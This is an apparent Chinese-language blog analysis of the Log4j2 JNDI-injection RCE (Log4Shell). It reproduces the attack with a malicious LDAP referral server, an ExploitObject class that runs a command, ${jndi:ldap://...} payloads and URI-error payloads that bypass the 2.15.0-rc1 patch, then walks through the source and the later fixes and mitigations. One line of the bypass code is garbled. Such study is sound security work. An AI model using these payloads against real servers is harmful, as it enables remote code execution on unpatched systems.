Log4j2 RCE:顶级供应链漏洞

0x00 前言

log4j核弹级漏洞出来了一段时间,一直没有基础来分析。补了java基础后赶紧来分析一波

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

这次受影响的组件有:

  • Springboot:默认情况是使用logback进行日志记录,但如果spring使用log4j则可能会存在漏洞
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-logging</artifactId>
            </exclusion>
        </exclusions>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-log4j2</artifactId>
        <version>2.6.1</version>
    </dependency>
</dependencies>
  • Apache Struts2
  • Apache Solr
  • Elasticsearch
  • vmware 产品线包括但不限于vCenter 在内的多个产品
  • 等等

0x01 漏洞复现

影响版本:2.x<=2.15.0-rc1

log4j rce本质是JNDI注入

所以首先搭一个LDAP服务器

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
        //将LDAP服务设置在7777端口
        int port = 7777;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("127.0.0.1"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 127.0.0.1:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            //cbstring = "http://127.0.0.1"
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            //this.codebase.getRef() = "ExploitObject"
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

然后写一个恶意Factory类,编译为class放置于8080端口

import java.io.IOException;

public class ExploitObject {
    static {
        try {

            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        System.out.println("Calc Running ...");
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jps1WfK3-1660209714383)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811143610992.png)]

最终被害客户端请求恶意ldap服务器,导致命令执行

//客户端需要log4j依赖
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-29uSqGDy-1660209714384)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811144205930.png)]

0x02 漏洞分析

该漏洞主要是因为log4j2对JNDI Lookup 做了支持,如果消息中包含jndi:的话则会调用jndi resolver进行处理

开始断点分析,对于logger.error("${jndi:ldap://127.0.0.1:7777/ExploitObject}");来说前半部分都是跟appender相关,该组件是决定日志输出位置的包括控制台console,文件,数据库等等,默认是输出到console中

略过前面这些代码,直接来到关键入口处:org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9BsoGwVQ-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811150720883.png)]

首先会判断是否允许lookup,在2.15.0-rc1之前默认是开启lookup功能的,这也就导致默认可进行JNDI查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0sdmrbks-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811150923980.png)]

workingbuild中存放的是消息记录。结构为时间,方法名,日志级别,类名以及我们的payload

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z7BAWVOg-1660209714385)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151318723.png)]

然后截取${后面的赋值给value,此时value为我们的payload:${jndi:ldap://127.0.0.1:7777/ExploitObject}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-msjAOKEo-1660209714386)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151539942.png)]

接下来调用replace方法,最终来到substitute方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ4AAmQH-1660209714386)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811151706406.png)]

在substitute方法中先将buf赋值给char数组然后循环递归寻找${,记住其出现的位置startMatchLen

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SMxQgRmh-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152007226.png)]

然后再寻找}出现的位置

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DopWz961-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152223619.png)]

然后将 ${} 中间的内容取出来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kEDO5TAF-1660209714387)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152436217.png)]

然后又会调用 this.subtitute 来处理

ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-04tkmIwG-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152608393.png)]

跟进这个subtitute,由于这次已经没有的${所以会来到最下面,此时varname是我们传入的bufname即jndi:ldap://127.0.0.1:7777/ExploitObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W9p4vOcl-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811152821424.png)]

这个resolveVariable作用是解析变量,根据varname参数找到对应的resolver然后解析varname,跟进resolveVariable看看

首先会调用getVariableResolver获取所有的resolver,可以看到里面包含我们需要的JNDI resolver

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bsJ58GbZ-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811153035442.png)]

接下来调用lookup方法获取与payload对应的,跟进lookup

可以看到,首先寻找字符串中等号出现的位置,然后截取等号之前的以及之后的分别赋给不同变量

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2E5QoW98-1660209714388)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811153529066.png)]

然后根据prefix寻找到对应的resolver:JndiLookup

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-870Op9lD-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811154605012.png)]

然后调用其lookup函数,name为ldap://127.0.0.1:7777/ExploitObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F09XGGc1-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811154733513.png)]

跟进lookup方法

Log4j2 使用 org.apache.logging.log4j.core.net.JndiManager 来支持 JDNI 相关操作

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KZelP6ic-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155014390.png)]

跟进lookup,可以看到利用JndiManager的context来完成后续的JNDI查询

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2hIiVkTp-1660209714389)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155135677.png)]

后面就是jndi查询操作了,获取reference对象解析并加载远程恶意Factory,此时就会造成命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mqNPBwIz-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155306998.png)]

总结:log4j获取${}内部值开始解析变量,首先根据冒号前面的字符串找到其对应的resolver:JndiLookup类。然后实例化一个JndiManager利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控到了JNDI注入

0x03 漏洞修复

rc1绕过

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

下载后,将其中的log4j-core打成jar包然后导入进来即可使用
https://blog.csdn.net/LXWalaz1s1s/article/details/107607607

在漏洞爆发之初官方首先发布了log4j-2.15.0-rc1 安全更新包,但经过研究发现在开启lookup配置时,可以绕过该补丁

在该版本中默认时不开启lookup功能的

还记得debug调试刚开始的MessagePatternConverter嘛,修改了其newInstance方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ASi3Vd7E-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811160754511.png)]

跟进loadLookups,可以看到判断是否开启了LOOKUPS,默认是不开启的所以会返回false

所以就不会获得LookupMessagePatternConverter来进行 Lookup 和替换

引用su师傅的一段话

在rc1版本,MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverterFormattedMessagePatternConverterLookupMessagePatternConverterRenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换。

https://su18.org/post/log4j2/#rc1-及绕过

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gQhAqbKw-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811164250833.png)]

在默认情况下,将使用 SimpleMessagePatternConverter 进行消息的格式化处理,不会解析其中的 ${} 关键字。

另外一点是在刚才漏洞分析中最后一步JndiManager#lookup那,本来是

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TQcFtcoK-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811155135677.png)]

在rc1版本为

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        // In testing the "key" for attributes seems to be lowercase while the attribute id is
                        // camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
                        // to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
                        // the Java schema.
                        Map<String, Attribute> attributeMap = new HashMap<>();
                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {
                            Attribute attribute = enumeration.next();
                            attributeMap.put(attribute.getID(), attribute);
                        }
                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {
                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn("Deserialization of {} is not allowed", className);
                                    return null;
                                }
                            } else {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;
                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                || attributeMap.get(OBJECT_FACTORY) != null) {
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

在createManager时候添加白名单 JNDI 协议、白名单主机名、白名单类名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IKhRrQ2P-1660209714390)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811161618108.png)]

其中 permanentAllowedHosts 是本地 IP,permanentAllowedClasses 是八大基础数据类型加 CharacterpermanentAllowedProtocols 包含 java/ldap/ldaps。

其在lookup中做了校验判断,主要是host白名单只允许127.0.0.1这种地址,所以无法进行远程JNDI注入了

但是由于程序在 catch 住异常后没有 return,所以说可以在lookup第一步new url时使其报错URISyntaxException来绕过校验,直接来到最后一行this.context.lookup处

例如在URI中插入空格等等

${jndi:ldap://127.0.0.1:1389/\$ExploitObject}
${jndi:ldap://127.0.0.1:1389/ ExploitObject}
${jndi:ldap://127.0.0.1:1389/\u0000ExploitObject}
...

绕过复现:

在rc1版本中需要打开lookup功能

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.LogEvent;
import org.apache.logging.log4j.core.config.Configuration;
import org.apache.logging.log4j.core.config.DefaultConfiguration;
import org.apache.logging.log4j.core.impl.MutableLogEvent;
import org.apache.logging.log4j.core.pattern.MessagePatternConverter;

public class Test {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //获取一个configuration做为后面的参数输入
        Configuration configuration做为后面的参数输入 = new DefaultConfiguration();
        //这里对应上面说的newinstance,为了能获取到LookupMessagePatternConverter,需要传入option为lookups。此时才会返回true
        MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
        //调用messagePatternConverter.format,后面就是跟漏洞分析小节一样。唯一不同就是在最后lookup处发生异常绕过了校验,注意下面payload:7777/后面有个空格
        LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"),null);
        messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:7777/ ExploitObject}"));
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vDsMT3L2-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811165003133.png)]

虽然绕过了校验,但是由于在rc1之后lookup默认为关闭状态,所以危害比较低

rc2修复

在rc2版本,其在catch中添加了return,修复了rc1中的绕过方式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2GLwlooX-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170005868.png)]

之后版本

https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea

再在后面版本官方引入了一个 log4j2.enableJndi 参数用来表示是否开启 Jndi。只有在enable状态下才会将类 JndiLookup 加入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rSTcJjOf-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170222917.png)]

并且保留了jndimanager#lookup中的校验机制

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-thARn0rj-1660209714391)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811170321909.png)]

所以说只要在未开启log4j2.enableJndi 时,就找不到JndiLookup类,从而也就无法实现后续的JndiLookup.lookup创建jndimanager并调用其lookup方法进行JNDI注入

在2.16.0-rc1版本,删除掉了LookupMessagePatternConverter类,也就无法实现lookup功能了。所以说在该版本之后log4j2 不再支持日志消息的 Lookup 功能

从这个版本之后,log4j RCE已经不太可能实现了

0x04 修复方案

这里贴一张奇安信的修复建议

前两条只限制在2.10之后的版本有效

移除JndiLookup类可谓是简单粗暴

第四条是因为在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false从而导致客户端默认不会请求远程Server上的恶意 Class

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OQwHdQOe-1660209714392)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220811171213659.png)]

0x05 总结

总的来说是因为log4j对于JNDI查询的支持,首先获取${}内部值开始解析变量,根据冒号前面的字符串找到其对应的resolver:JndiLookup类。在JndiLookup.lookup中实例化了一个JndiManager然后利用其成员变量context调用lookup方法并传入冒号之后的内容完成JNDI查询,由于参数可控导致了JNDI注入

在rc1之后的版本默认关闭了lookup支持,其中MessagePatternConverter 类中创建了内部类 SimpleMessagePatternConverterFormattedMessagePatternConverterLookupMessagePatternConverterRenderingPatternConverter,将一些扩展的功能进行模块化的处理,而只有在开启 lookup 功能时才会使用 LookupMessagePatternConverter 来进行 Lookup 和替换。一般默认情况下是SimpleMessagePatternConverter,而这个是不会解析${}的

因为catch代码块没return导致绕过了rc1,但是呢很快在rc2改了过了

在后续的版本限制了JndiLookup类的加入,最后直接移除了LookupMessagePatternConverter即不允许lookup操作

这场因为JNDI注入引发的核弹级漏洞终于落下了帷幕

0x06 参考文章

https://su18.org/post/log4j2/

https://www.yuque.com/tianxiadamutou/zcfd4v/els4r7

https://blog.csdn.net/qq_35733751/article/details/118767640

https://www.cnblogs.com/CoLo/p/15531591.html

https://blog.csdn.net/LXWalaz1s1s/article/details/107607607

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值